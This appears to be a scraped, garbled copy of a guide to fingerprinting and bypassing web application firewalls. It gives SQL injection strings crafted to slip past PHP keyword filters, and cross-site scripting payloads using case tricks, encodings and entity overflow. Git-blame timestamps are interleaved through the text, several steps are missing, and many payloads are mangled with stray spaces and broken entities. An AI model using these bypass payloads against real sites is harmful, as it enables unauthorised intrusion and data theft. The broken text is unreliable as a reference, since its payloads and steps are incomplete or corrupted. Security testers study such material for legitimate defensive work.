__A Concise Definition:__ A web application firewall is a form of firewall with a set of configured rules that controls input, output, and/or access from, to, or by an application or service. It operates by monitoring and potentially blocking the input, output, or system service calls that do not meet the configured policy of the firewall. *(Source [Wikipedia](https://en.wikipedia.org/wiki/Application_firewall))*

## Testing Methodology
Alright, now lets see the approach of testing WAFs. Wait, before that we need to know how they work right? Here you go.
### How WAFs Work:
- Using a set of rules to distinguish between normal requests and malicious requests.
- Sometimes they use a learning mode to add rules automatically through learning about user behaviour.
### Operation Modes:
- __Negative Model (Blacklist based)__ -
One that defines what is not allowed. Eg. Block all `<script>*</script>` inputs.
- __Positive Model (Whitelist based)__ -
One that defines what is allowed and rejects everything else.
- __Mixed/Hybrid Model (Inclusive model)__ -
One that uses a mixed concept of blacklisting and whitelisting stuff.
### Where To Look:
- Always look out for common ports that expose that a WAF `80` , `443` , `8000` , `8008` , `8080` , `8088` .
2019-02-06 08:03:23 -05:00
> __Tip:__ You can use automate this easily by commandline using a screenshot taker like [WebScreenShot](https://github.com/maaaaz/webscreenshot).
2019-01-26 02:37:22 -05:00
- Some WAFs set their own cookies in requests (eg. Citrix Netscaler, Yunsuo WAF).
- Some associate themselves with separate headers (eg. Anquanbao WAF, Amazon AWS WAF).
- Some often alter headers and jumble characters to confuse attacker (eg. Citrix Netscaler, Big IP WAF).
2019-02-11 08:52:49 -05:00
- Some (often rare) expose themselves in the `Server` header (eg. Approach WAF).
- Some WAFs expose themselves in the response content (eg. DotDefender, Armor, Sitelock).
2019-01-26 02:37:22 -05:00
- Other WAFs reply with unusual response codes upon malicious requests (eg. WebKnight).
### Detection Techniques:
1. Make a normal GET request from a browser, intercept and test response headers (specifically cookies).
2. Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).
3. If there is a login page somewhere, try some common (easily detectable) payloads like `' or 1 = 1 --` .
4. If there is some search box or input field somewhere, try detecting payloads like `<script>alert()</script>` .
5. Make GET requests with outdated protocols like `HTTP/0.9` (`HTTP/0.9` does not support POST type queries).
2019-02-06 08:03:23 -05:00
6. Many a times, the WAF varies the `Server` header upon different types of interactions.
7. Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response.
> __Tip:__ This method could be easily achieved with tools like [HPing3](http://www.hping.org) or [Scapy](https://scapy.net).
8. Side Channel Attacks - Examine the timing behaviour of the request and response content.

# Evasion Techniques
2019-01-26 02:37:22 -05:00
Lets look at some methods of bypassing and evading WAFs.
2019-02-08 08:26:46 -05:00
## Fuzzing/Bruteforcing:
2019-02-07 07:54:28 -05:00
#### Method:
2019-02-06 08:03:23 -05:00
Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:
- Wordlists specifically for fuzzing - [Seclists Fuzzing ](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing ).
- Can be done with automated tools like BurpSuite Intruder.
2019-02-07 07:54:28 -05:00
#### Technique:
2019-02-06 08:42:14 -05:00
2019-02-06 08:03:23 -05:00
- Load up your wordlist into Burp Intruder/custom fuzzer and start the bruteforce.
- Record/log all responses from the different payloads fuzzed.
- Use random user-agents, ranging from Chrome Desktop to iPhone browser.
- If blocking noticed, increase fuzz latency (eg. 2-4 secs)
- Always use proxies, since chances are real that your IP gets blocked.
2019-02-06 08:42:14 -05:00
__Drawback:__
2019-02-06 08:03:23 -05:00
- This method often fails.
- Many a times your IP will be blocked (temporarily/permanently).
2019-02-08 08:26:46 -05:00
## Regex-Reversing:
### Method:
2019-02-06 08:03:23 -05:00
- Most efficient method of bypassing WAFs.
- Some WAFs rely upon matching the attack payloads with the signatures in their databases.
- Payload matches the reg-ex the WAF triggers alarm.
2019-02-07 07:54:28 -05:00
#### Techniques:
2019-02-06 08:03:23 -05:00
2019-02-08 08:26:46 -05:00

- __Filtered Injection__: `1 || (select user from users group by user_id having user_id = 1) = 'admin'`
- __Bypassed Injection__: `1 || (select substr(group_concat(user_id),1,1) user from users ) = 1`
2019-02-06 08:46:59 -05:00
##### • Step 5:
2019-02-06 08:38:56 -05:00
__Keyword filer__: `and` , `or` , `union` , `where` , `limit` , `group by` , `select`
__Possible PHP Filter Code__: `preg_match('/(and|or|union|where|limit|group by|select)/i', $id)`
2019-02-06 08:03:23 -05:00
- __Filtered Injection__: `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1`
- __Bypassed Injection__: `1 || 1 = 1 into outfile 'result.txt'`
- __Bypassed Injection__: `1 || substr(user,1,1) = 'a'`
2019-02-06 08:46:59 -05:00
##### • Step 6:
2019-02-06 08:38:56 -05:00
__Keyword filer__: `and` , `or` , `union` , `where` , `limit` , `group by` , `select` , `'`
__Possible PHP Filter Code__: `preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)`
2019-02-06 08:03:23 -05:00
- __Filtered Injection__: `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1`
- __Bypassed Injection__: `1 || user_id is not null`
- __Bypassed Injection__: `1 || substr(user,1,1) = 0x61`
- __Bypassed Injection__: `1 || substr(user,1,1) = unhex(61)`
2019-02-06 08:46:59 -05:00
##### • Step 7:
2019-02-06 08:38:56 -05:00

2019-02-07 07:54:28 -05:00
__Possible PHP Filter Code__: `preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)`
2019-02-06 08:03:23 -05:00
- __Filtered Injection__: `1 || substr(user,1,1) = unhex(61)`
- __Bypassed Injection__: `1 || substr(user,1,1) = lower(conv(11,10,36))`
2019-02-06 08:46:59 -05:00
##### • Step 8:
2019-02-06 08:38:56 -05:00
__Keyword filer__: `and` , `or` , `union` , `where` , `limit` , `group by` , `select` , `'` , `hex` , `substr`
__Possible PHP Filter Code__: `preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)`
2019-02-06 08:03:23 -05:00
- __Filtered Injection__: `1 || substr(user,1,1) = lower(conv(11,10,36))`
- __Bypassed Injection__: `1 || lpad(user,7,1)`

__Scenario 2: Cross Site Scripting__
##### Step 1:
- Normal deliberate test:
```
< script > alert ( ) < / script >
```
- Checking if the firewall is blocking only lowercase:
```
< sCRipT > alert ( 1 ) < / sCRiPt >
```
- Breaking firewall regex with new line (`\r\n`):
```
< script >
alert(1)< / script >
```
- Bypass trial with hex notation:
```
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3B%3C%2F%73%63%72%69%70%74%3E
```
- Bypass trials with ECMAScript6 variation:
```
< svg > < script > a l e r t & D i a c r i t i c a l G r a v e ; 1 & D i a c r i t i c a l G r a v e ; < / p >
< svg > < script > a l e r t ` 1 `
```
- Testing for recursive filters:
```
< scr < script > ipt>alert(1);< /scr< / script > ipt>
```
- Bypass trials with anchor tags without whitespaces:
```
< a / href = ”j	a	v	asc	ri	pt:alert(1)” >
```
- Bypass trial with HTML encoded notation:
```
< s c r i p t > a l e r t ( 1 ) ; < / s c r i p t >
```
- Bypass trial with unicode encoding:
```
script/src="data: text%2Fj\u0061v\u0061script,\u0061lert(1)">< /script a=\u0061 & /=%2F
```
- Bypass trial via overflow technique:
```

	a
		v
			a

					c
						r
							i
		 & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; p & NewLine ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; t & NewLine ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & colon ; a & NewLine ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; l & NewLine ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; e & NewLine ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; r & NewLine ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; t & NewLine ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; % 28 & NewLine ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; 1 & NewLine ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; & Tab ; % 29 > < / iframe >
